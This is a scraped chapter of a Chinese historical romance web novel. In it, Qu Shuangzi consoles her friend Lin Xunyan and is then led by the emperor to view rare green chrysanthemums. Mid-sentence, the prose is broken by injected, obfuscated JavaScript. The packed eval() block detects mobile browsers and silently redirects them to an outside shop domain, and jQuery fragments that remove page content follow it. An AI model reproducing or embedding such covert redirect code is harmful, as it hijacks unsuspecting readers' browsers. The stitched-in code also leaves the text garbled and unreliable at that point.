风倏地大了,吹得满园的凤凰仰起了头,欲展翅翱翔,满园的艳烈连成一片,像是潮起潮落,像是云卷云舒。
林寻雁的长发被风卷起,她没吭声,怔怔地握住了空中的发丝。
风刮了许久才停,曲霜姿听见林寻雁一张寒冰似的脸破开,露出迷惘,她薄唇微启:“我不知道。”
林家和皇帝的母族算是亲族,她从小就是被这样教育的,所有人都将她奉为未来的皇子妃、太子妃、甚至是皇后。但她犹记得,这份尊崇原本是轮不到她的,只是因为嫡夫人一直未有女儿。林寻雁记忆里一直有一个女人,女人告诉她,你要自由,不要被困在这里。
但是时间太久,若不是她总要回味,几乎要忘得一干二净。
她只剩下了腰间这把配剑。
其余关于她亲生母亲的一切,她都忘了。
“我还记得我第一次见他,便想要同他亲近些,大皇子算是我的表兄,他对我很好,但是呢……”林寻雁止住话音,虚叹一声:“他对所有人都好,慢慢的,我也就不报有希望了,只听从家族的安排,父亲和嫡母的命令。”
“有时候,我心里会有一个声音告诉我,”她有些哽咽,但还是一字一句道:“我要自由。”
曲霜姿眼眶不由得湿润,上前抱住林寻雁,她的手握住林寻雁的手,让林寻雁把腰间佩剑握得更紧了些,“那我们便倾听心里的声音。”
林寻雁小声呜咽几声后就缓了过来,她勉强笑道:“可他待你不一样。”
“殿下虽为人亲善,但也很有分寸,我……从来都没见过他这个样子。”
曲霜姿皱眉,不可置信道:“这怎么可能?我和他都没说过几句话。”
“也许是我想多了,”林寻雁看她一脸惊奇的模样,不由得发笑,“今日真是失态了,害你玩得不尽兴。”
“哪有的事儿,”曲霜姿轻轻抚上一朵菊花,回头向林寻雁道:“你有什么都可以告诉我的,其实我们很像,我阿娘去世后,留给我的东西不多,倒也有把匕首。”
“可惜,那把匕首被我弄丢了。”
林寻雁拍拍她的肩膀,“你同我说过,是给了沈大人?未来拿回来便是。”
“不提这个,寻雁,你想学武吗?”曲霜姿翻了根被人忽视的小杂枝,在空中比划起来,她眯起眼睛笑道:“你的剑是把好剑,总要物尽其用才是呀。”
她此言不虚,曲霜姿见过这剑出鞘,表面看着无功无过,但实在是大巧不工。曲霜姿记得余肃叔叔曾讲给她听过,这种剑一般是江湖人士所用,是草原那边传过来的。
林寻雁抽出剑来给曲霜姿瞧。
“看起来已经用了很久了,但依旧锋利如初。”曲霜姿眼睛一亮,啧啧称奇赞叹,“我家叔叔最善用剑,回头我让他教你。”
“我还是不麻烦了吧。”
“只要你愿意,随时告诉我就好。”
二人走近园子深处,林寻雁心有不安,“宴会那边万一有什么事该怎么办?”
曲霜姿安慰她几句,很是享受这种和人相互信赖、无话不谈的感觉。换作旁人,谁能知道林寻雁这张冰块脸下的忧愁满腹、顾虑重重呢?
“要是有什么事,阿夭会来找我们的吧。”
阿夭是林寻雁的贴身侍女,此刻和乐知一起,在另一个地方等待。
林寻雁点头应是。
“在你们盛京城里,对沈无逆是怎么评价的?”曲霜姿思忖半晌,突然开口询问。
然而林寻雁还没来得及回复,阿夭就到了,说是那边一会要去校场上观赛,让林寻雁回去换一件轻便的衣裳。
曲霜姿穿得倒本就轻便,就和林寻雁告了别,自己继续在菊园里溜达溜达,随后再赶去校场上。
不得不说,她留下的原因确实是为了大皇子口中所谓别致的菊花。曲婧爱菊,说世上有种菊花花开时呈绿色,碧绿如玉、晶莹欲滴,经由日照绿中透黄、光彩夺目,还形似牡丹,故称为“绿牡丹”。
她继续深入园中,一边游逛,一边赞服,不愧是皇家花园,各种品种是菊争奇斗艳 ,都被打理得极好。
曲霜姿走得有些累,也有些失望,各样的菊虽美,但看久了难免视觉疲劳。菊花终究是以红黄为主流,寻不见绿意也是正常的,少女叹了口气,只好打消了继续探寻的念头。
转身欲走之际,身后传来一道沉稳威严的声音,曲霜姿浑身僵住。
这声音莫名耳熟,曲霜姿僵硬地回头,面前之人亦是面熟,她定睛一看,这龙袍加身、不怒自威的男人,不是温孤昪又是谁?
她急忙稳定心神,跪下问安。
男人睥睨着她,冷声质问:“你是何人?”
“臣女曲霜姿误入菊园、扰了陛下清净,还请陛下恕罪。”曲霜姿一边说着,一边疑惑地思索:温孤昪今日寿宴,该是万臣簇拥、百官相随,况且不是才说要在校场比武助兴吗?他怎么会出现在这里!?
“曲霜姿,”温孤昪重复了一遍少女的名字,眼神淡然几乎是无情地看向她,“怎么戴着面纱?”
“臣女生了面疮,怕坏了陛下和各位贵人的心情。”
温孤昪这才示意她起身,曲霜姿默默松了口气,这才不消片刻,她的冷汗已经浸透了衣衫。明明天气晴朗依旧,曲霜姿却觉得冷了几分,几乎要被冻在原地动弹不得。
她在心里默默腹诽:帝王之威如此,大夏天站在他旁边是不是还能消暑。
“你来这园子做什么?”男人又问。
曲霜姿忙改了口,老实道:“我听闻园里有别具一格的菊花,便想一睹风采。”误入园子这样的话,想来骗不了帝王,她咬牙说了实话。
男人沉思,“随朕来。”
曲霜姿胆颤心惊地跟了上去,猜想温孤昪应该是打算带自己去赏菊,她讶异而又受宠若惊,提着的心也放下几分。
她一向天不怕地不怕,此刻开始偷偷打量起温孤昪的容貌来。男人身段修长挺拔,比余肃还要高些,眉眼深邃、五官凌厉,他的皮肤白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931224|144594||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得可怕,在周遭昳丽景色的衬托下,居然有种妖异之感。
更准确的来说,是将鬼气和仙气通通揉在了这一人身上。
“到了。”男人薄唇轻启,身上的阴郁气息突然间散了。
曲霜姿猛得回过神来,这才注意到已经彻底进了园子深处。虽是深处,但更为开阔,给人豁然开朗之感。
红黄色的菊不知何时已经消失不见了,取而代之的是大片的绿意,生机盎然。曲霜姿目瞪口呆,真的有碧绿的菊,阳光倾洒下来,落在一片花丛中。
她一眼就看到了那种黄绿色的菊。像是浸润在阳光里,暖暖地静静地闪着光,颜色极浅,绰约地立在那处透露出端庄与华贵,没有半点牡丹的傲气,却丝毫不亚于真正的牡丹。曲霜姿情难自禁地靠近,确定这就是她阿娘口中的绿牡丹。
这一幕落在温孤昪眸中,霜姿一席碧衣站在其间,眼中闪着欣喜的光芒,风故意玩闹似卷起少女的衣袍和发丝,使她几乎要与花融为一体。温孤昪看着她,莫名有异样之感,他皱皱眉,下意识摸上太阳穴。
头痛难耐。
“你喜欢绿牡丹?”男人面无表情地问,但语气中分明带着疑惑。
曲霜姿痴迷地伸手,下意识地点点头。
然而下一刻,她又被一旁另一种花吸引住了目光。
那同样是一种绿菊,但生长得格外肆意,叶肥花大,高挑硕大,每片花瓣卷势都如龙游、有的向上飞舞、有的向下垂下,在这天地间丝毫不受拘束。
其花端为青绿色,花瓣尾端又呈白色,两种颜色浑然一体、毫不突兀,却也青白分明,白中甚至带着那么一缕微红,堪称奇美绝妙。
温孤昪没有在意她的失敬,随口介绍道:“此为盘龙春晓,犹如无数青龙盘绕其中,故而得名。”
“我更喜欢它。”曲霜姿牵起一抹笑容,转头看向温孤昪。
她这才想起来现下是何种情境,骇得头皮发麻,她慢半拍地反应过来,温孤昪没有动怒,甚至嘴边凝着抹古怪的笑。
太淡了,几乎叫人注意不到。
但曲霜姿茫然若失——这位传说中的帝王,与她想象中很不一样。曲霜姿头次见他,亦是宫宴之上,人人把酒言欢,虽然有几分拘谨,但终归是有活人的气息。而温孤昪,他就那么静默着轻举酒杯,偶尔把玩,偶尔抵在唇边,他似乎没有一丁点儿凡人的情绪,淡薄地睥睨所有人。
曲霜姿当时只道是高处不胜寒,甚至想过什么样的女子才能入得了他的眼,又或者说什么样的女人能够心甘情愿地陪在他身边。
她居然无端替温孤昪感觉到了孤独和寂寥。
书中云:“昪,形容喜乐之样,或日光明亮。”
那么这位看似凉薄的九五至尊,也会有流露喜乐之情的时候嘛?
“朕脸上有菊花嘛?”温孤昪挑眉,随即直截了当地下令:“随朕去校场。”
什么!?
曲霜姿彻底傻眼,但还好反应迅捷,她答道:“是。”